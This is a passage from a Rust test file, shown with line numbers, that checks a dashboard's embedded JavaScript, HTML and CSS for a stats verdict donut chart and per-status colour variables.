14995
14996 let missing = dir.path().join("does-not-exist-at-all");
14997 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
14998 }
14999
15000 #[test]
15001 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
15002 assert!(APP_JS.contains("function statsDonutArcs"));
15003 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
15004 assert!(APP_JS.contains("function statusInBucket"));
15006 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
15007 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
15008 let buckets = [
15009 "merged",
15010 "ready",
15011 "in_progress",
15012 "blocked",
15013 "failed",
15014 "verified_noop",
15015 "superseded",
15016 "stalled",
15017 ];
15018 for key in buckets {
15019 let var = format!("--verdict-{key}:");
15020 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
15022 assert!(
15023 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
15024 "{key}"
15025 );
15026 }
15027 }
15028}